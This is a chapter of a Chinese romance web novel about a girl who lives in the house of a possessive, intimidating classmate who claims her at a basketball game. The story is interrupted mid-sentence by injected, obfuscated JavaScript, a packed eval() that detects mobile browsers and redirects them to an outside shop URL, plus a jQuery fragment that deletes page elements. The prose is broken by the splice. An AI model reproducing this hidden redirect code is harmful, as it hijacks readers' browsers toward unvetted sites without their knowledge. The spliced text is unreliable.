-
家里又搬进来两个无关紧要的人。
不过不算碍眼。
新妹妹像是一只拘谨的小猫。有点可爱。
可小猫今早打了我一巴掌。
是为了周森杰。
她不乖。
但没关系，我会让她明白，她是谁的人。
——周栖也日记。
-
九月底，还带着盛暑的余热，阳光最盛之时难免热得人目眩。
何况身后是铺天盖地的加油助威声，即便不认识球场上的男生，此刻也能清楚听到他的名字。
“周栖也加油！！”
“啊啊啊学长好帅！”
米柚讨厌这样热闹的地方。
更讨厌乌泱泱的人群和嘈杂的说话声。
她的眼神没什么温度，目光落在球场中央准备扣篮的少年身上。
白色球服上写着大大的数字7，额间带着白红条纹的发带，冷白如玉的一张脸，被衬得有种妖异的美感。
球场这一小块天地被人群淹没，热气翻涌，所有球员都只穿了宽松的球衣背心，只有周栖也在里面加了件白色T恤。
很张扬恶劣的一个人，偏偏喜欢营造内敛温柔的人设，把自己包裹得严严实实，让人以为这是一个纯情美少年。
很久之前，米柚也这样认为。
直到两个月前，她跟着姑姑搬进周家。
据说周家别墅是周老爷子留给周栖也的财产，为了弥补他父母双亡的损失，而周家二叔周森杰只是借住，所以这房子内的陈设基本都按照周大少爷的喜好来安排。
米柚搬家那天，刚一进门便感受到丝丝冷气，空调温度调得极低。
二楼平台上，一身黑衣的少年负手而立，清冷的眉眼不带温度的扫视过来，极尽审视。
姑姑告诉她，那就是周栖也。
周叔叔的侄子。
米柚当然知道，周栖也的名字，三中人尽皆知，只是少年疏离遥远，让人难以亲近。
没想到他们也有生活在同屋檐下的一天。
米柚对于和周栖也同室而居这件事是很紧张的，她担心他不喜欢自己，起初的几天都尽力讨好他，与他为善。
不仅因为他是这房子的主人，还因为米柚那些隐藏得很好的少女心事。
二楼平台边的圆柱上原本摆放着花瓶，可周栖也不喜欢，命人换上了皮卡丘的雕塑。
听说那是他亲自做的。
米柚近距离观赏过，做工精美，栩栩如生，皮卡丘手里捧着一捧花，模样憨态可掬，可爱得不行。
当她直视皮卡丘的眼睛时，有一瞬间差点以为它活了过来，米柚笑了笑，忍不住摸了摸皮卡丘的头。
恰逢周栖也走出房间，看到她的动作，周栖也翘起唇角问：“喜欢吗？”
米柚有些不好意思，微红了耳廓，点点头：“喜欢。”
没有下文。
空气安静，米柚有些不自在，转身下楼。
走到楼梯中段时，余光中有一黑影迅速下落，伴随着嘭地一声巨响，米柚吓得一颤。
她循声朝楼下望去，脸色瞬间惨白。
原本放在二楼的皮卡丘此刻已经四分五裂，然而最恐怖的是皮卡丘的内里——满是鲜血般黏稠的液体。
此刻液体四溅，像是凶杀现场。
米柚惊恐的抬眼，望向二楼的罪魁祸首。
他似乎对她的反应非常满意，面上是温和的笑，然而那双黢黑的瞳仁却如毒蛇吐信一般令人胆寒。
他路过她时，云淡风轻地开口：“真抱歉，吓到你了吗？”
米柚脸色惨白地看着他，喉间没能发出声响。
那场面带来的冲击力实在太强，甚至让米柚怀疑，高一那年初次见到的，到底是不是周栖也本人。
后来米柚才知道，周栖也的极端行为来源于极致的占有欲。
被别人碰过的东西，他一律都是要丢掉的。
然而这些，外人不会知道。
周栖也塑造人设向来很有一手。
比如此刻，就连犀利刻薄的林亦晴都被他所迷惑，此刻正激动的攥着米柚的手臂说：“天呐，周栖也看着斯斯文文的一个人，篮球居然打得这么猛！”
“……”
斯斯文文。
米柚还没来得及出声，又听见林亦晴遗憾地说：“不过背心里还要加个T恤，啧，为人保守，不太容易拿下，这种高岭之花实在不是我的菜。”
林亦晴的分析里有很多的中性词和褒义词，没有一样贴近周栖也这个人。
米柚声音平淡：“也有可能他有洁癖。”
林亦晴歪头想了想，觉得不太可能，就算有洁癖，那只要把背心洗干净就好了，穿个T恤完全不必要。
米柚这种清冷仙女一向是不了解男人的，作为她的好朋友，林亦晴开始给她科普，起先话题还在周栖也身上，没过一会儿便接连出现一连串的名字，那是林亦晴的美少男花名册。
米柚笑笑，安静地听她说话。
说了半天，林亦晴忽而嘟囔：“都怪你最近没有和我一起上学，导致你跟不上我的频道了，我竟然攒了这么多名字都没告诉你！”
林亦晴家住在市区中心，以往米柚坐公交乘五站后就会到林亦晴家门口，然而两人一起手挽手上学。
只是米柚已经搬了家，她们不再那样顺路。
米柚想了想，决定先不告诉她关于姑姑的事，毕竟那是姑姑的私事，周家于米家门第的悬殊也让人浮想联翩。
米柚不希望自己的姑姑陷入那样的联想。
米柚笑笑：“没办法，姑姑换了新工作，只能搬走啦。”
林亦晴叹了口气：“好吧，那什么时候方便，我去你家玩，我都好久没见到姑姑姑父了。”
米柚一怔。
轻点了下头。
姑父已经不在了。
寄人篱下的滋味前所未有的难过。
她想起来，刚刚搬到周家第三天，周森杰派司机送他们两个一起上学。
那天早上，米柚不小心在门口撞了下周栖也，礼貌道歉后，周栖也一言不发，上楼换了身新校服——后来听保姆孙姨说，周大少爷的洁癖令人发指，连校服都要准备双份，随时更换。
从此以后米柚不再与他同车上学，和他相处都保持着五米以上的社交距离，在学校里则是完完全全的陌路人。
所以即便是林亦晴也不知道，她口中神一般的周栖也，实则回家后与米柚的房间只隔了一面墙。
林亦晴继续将自己的男神如数家珍讲给米柚听，米柚很捧场的附和，但神色没有丝毫波动。
林亦晴知道她的回应只是出于社交礼貌，同时又暗暗感慨，这么漂亮一张脸，丝毫不动凡心，实在是暴殄天物。
她看着米柚略显不耐的侧脸，拉拉队的白色紧身Polo搭配百褶短裙穿在她身上，勾勒出纤腰长腿，将身材上的优点完全放大，乌黑如绸的马尾高高束起，露出光洁的额头，往下是高挺的眉骨，杏眼沁水般明亮，琥珀色的瞳仁熠熠生辉。
米柚长相清冷疏离，是标准的高冷仙女脸。
林亦晴看她的第一眼就被米柚的长相吸引，在她的热情攻势下，两个人迅速成为了好朋友，就连这次加入拉拉队，都是林亦晴的手笔。
其实开场舞跳完后，米柚就想偷偷溜走，可队长却说大家必须要留下为球员们加油，米柚无法，只好顺从。
一坐就是一小时。
米柚面色微白，有些不适，身旁坐着的替补球员察觉到她的表情，偏过头来递上一瓶电解质水。
他温和一笑：“要不要喝点水，会好些。”
米柚确实有些渴，水杯在教室里忘记带出来，导致比赛开始到现在，她一口水都没喝过。
但是她不好意思贸然接受别人的好意，如果等下对方需要上场，他会比她更需要这瓶水。
米柚翘起唇角摇摇头：“没事的，应该很快就结束了。”
“还要一会儿呢，而且我们队有周栖也在，应该不需要我上场，”男生将水塞进她手里，“喝吧，不然等会儿中暑就不好了。”
米柚犹豫一瞬，感激一笑：“谢谢。”
“别客气。你叫米柚对吗？”男生说，“我叫陆羽，是5班的。”
高三五班，就在七班隔壁。
但米柚没有见过他。
米柚点点头，记下他的名字。
她扭着瓶盖，与此同时，哨声响起，上半场结束了。
陆羽还要开口，热闹的氛围忽而冷却下来，他感受到一阵寒风，下意识抬眼，正看到周栖也漆黑的瞳孔对上他的，他不是情绪外露的人，上一次被这样注视时，所有球员被他罚跑操场十圈。
只因为有两个球员记错了时间，训练迟到了十分钟。
陆羽下意识紧张，犹豫着再抬眼时，发现周栖也已经移开了视线。
仿佛刚刚望过来的一瞬只是错觉。
但他正在朝他们走过来。
林亦晴在看清周栖也走来的方向时，激动的握紧米柚的手，导致她开了一半的瓶盖还没扭开，只能听到林亦晴震惊的低语：“周栖也来了周栖也来了！！不会是来跟我说话的吧？我刚才就说，排练这么多次，我今天跳的是最好的，天呐虽然我不是非常爱，但高岭之花这一口我尝尝也是可以的！！”
在距离他们不到一米处，有球员叫周栖也的名字，他压了下眉心望过去，对方扔给他一瓶红牛。
他接过，勾了勾唇，“谢了。”但却没急着喝，而是扭开瓶盖后又再度拧紧，只是一个开瓶的动作。
然后，顶着林亦晴热切的目光，周栖也在她身侧站定。
一把抽走了米柚手里还没来得及开的电解质水，将自己手里的红牛丢在她怀里。
“喝这个。”
他言简意赅。
米柚捏紧了指节，她清楚感受到周围人疑惑震惊的视线，直白的、审视的黏在她身上。
她不知道该怎么办，只能尽量装着平静。
她努力忽略周围的视线，打开瓶盖抿喝了两口水。
周栖也却没打算走。
他看着她顺从的举动轻笑了声，心情格外好似的。他坐到她脚边，扭开那瓶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939373|213844||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
电解质水，瞬间喝完大半。这样的姿态显得他们两个人过分亲昵，虽然没有什么实质性的靠近，甚至没有一句多余的话，但是所有人都知道，周栖也疏离到淡漠，来送信的女生无一例外，生人全拒。
对米柚的态度，已经是开天辟地头一遭。
离得近的人看得清楚，那瓶电解质水是米柚身旁男生送的，现在却被周栖也抢走了，赤裸裸的占有欲。
最终还是林亦晴大着胆子开口：“柚柚，你和周栖也……认识吗？”
米柚摩挲着饮料瓶。
装不熟是她和周栖也心照不宣的约定，毕竟他们两个人的家庭，解释起来相当复杂，也没有必要。
而且她相信，周栖也不想和她扯上任何关系。
她凝眉看着脚边大咧咧坐着的人。
米柚希望他回答这个棘手的问题，毕竟是他先破坏了这份默契。
可周栖也像是毫无察觉一般，他正手撑地，好整以暇地看着她。
他有一双漂亮的桃花眼，瞳仁黑漆漆的，唇红肤白，此刻带着些置身事外的漠然，带着些他一贯的上位者的恶劣。
米柚很熟悉他这幅表情。
她移开视线，平静地吐出两个字：“邻居。”
周栖也眯眼看她一眼，而后轻笑一声，没人明白那意味不明的笑声代表什么。
他又仰头灌了两口水，撇开视线。
林亦晴和陆羽听得清楚，却觉得远非如此，不过也不好再多问。
哨声响起。
下半场即将开始。
哨声也让米柚松了口气。
周栖也起身，手拄着膝盖，就在米柚放松警惕时，他骤然弯腰与她平视，笑声低沉，拱火似的问：“只是邻居吗？”
他们的距离太近，运动过后的热气扑面而来，带着清淡的松木柑橘香，熏红了米柚的脸，瓷白的肌肤泛着淡淡的粉，米柚几乎听得见自己慌乱的心跳。
周栖也歪头笑看着她，似乎极为满意，他没有想听她的回答，转身朝场中走去，顺手将那瓶没喝完的水三分灌篮扔进了垃圾桶。
随意一丢，松弛恣意，又掀起一片尖叫。
米柚凝眉，她闭了闭眼，想要控制心跳声渐渐平静。
她很清楚，周栖也的所有举动，都只是为了报复她早上扇他的那巴掌。
周栖也就是这样的人，他非常清楚自己影响力，不费吹灰之力就可以把米柚推到风口浪尖，供人审视。
他看她的眼神很迅速的被周围人捕捉，周围女生打量的视线密密麻麻扎过来，无论是什么样的情绪，这样的目光都不能令人舒适。
林亦晴注意到她的拘谨，小声说：“要不你先回去休息，队长那里我去帮你说。”
米柚张了张口，轻轻点头：“谢谢你，亦晴。”
远离人群，热气消散了些。
米柚先去洗手间洗了把脸，又换好了校服，周围安静下来，她也变得平静许多。
回到高三七班时，教室内还空无一人。
她喜欢这样安静的时刻，她的位置靠窗，正好可以看到球场上的热闹。
下半场很快结束，她看到密集的人潮变得松散。
没什么意外，周栖也一定会赢。
她收回视线，不想关注他的任何动向。
周栖也有多讨厌她，米柚非常清楚。
她能做的，只有竭尽全力远离他，以免掉入他精心设计的陷阱。
米柚的目光落在语文课本上，开始专心背诵诗集。
下一秒，教室门被粗暴的拉开，又迅速关上。
突兀的声响令米柚感到不适，她凝眉望过去。
心脏瞬间收紧。
——周栖也正勾唇望着她。
“妹妹，怎么先回来了？”
米柚五指收紧，书角微微发皱，她戒备道：“你来我们班干嘛？”
周栖也叹了口气，仿佛累极了，径自将她身旁的座椅拉到过道中央，坐在桌后的那一小块空地上。
顺势轻轻靠到米柚的腿上。
他像个孩子一样轻声抱怨：“好累，妹妹不来看我打球，哥哥好伤心。”
米柚紧绷着身子，她的视角里，只能看到周栖也毛茸茸的发顶。
他偶尔会有这样令人心软的时刻，可她不敢掉以轻心：“你该回到十一班去。”
“陆羽好看吗？”
“什么？”
“比我好看吗？”他冷然抬眼，勾起唇角，神色与上一秒钟截然相反。
米柚被他看得心惊。
门外，影影绰绰路过人影，同学们已经陆续回来。
不能被别人看到他们这样。
米柚催他：“你快点回去，他们都回来了。”
话音刚落，门外响起同桌付源亢奋的声音，大约是在讨论球赛的大快人心。
他嗓门嘹亮，声音高亢，很容易分辨。听这声音，他们距离教室最多不过五米。
米柚着急了，忍不住要去推周栖也。
他一把攥住她的脚踝往自己跟前带，嘴角还挂着冰冷的笑。
“他比哥哥好看吗？”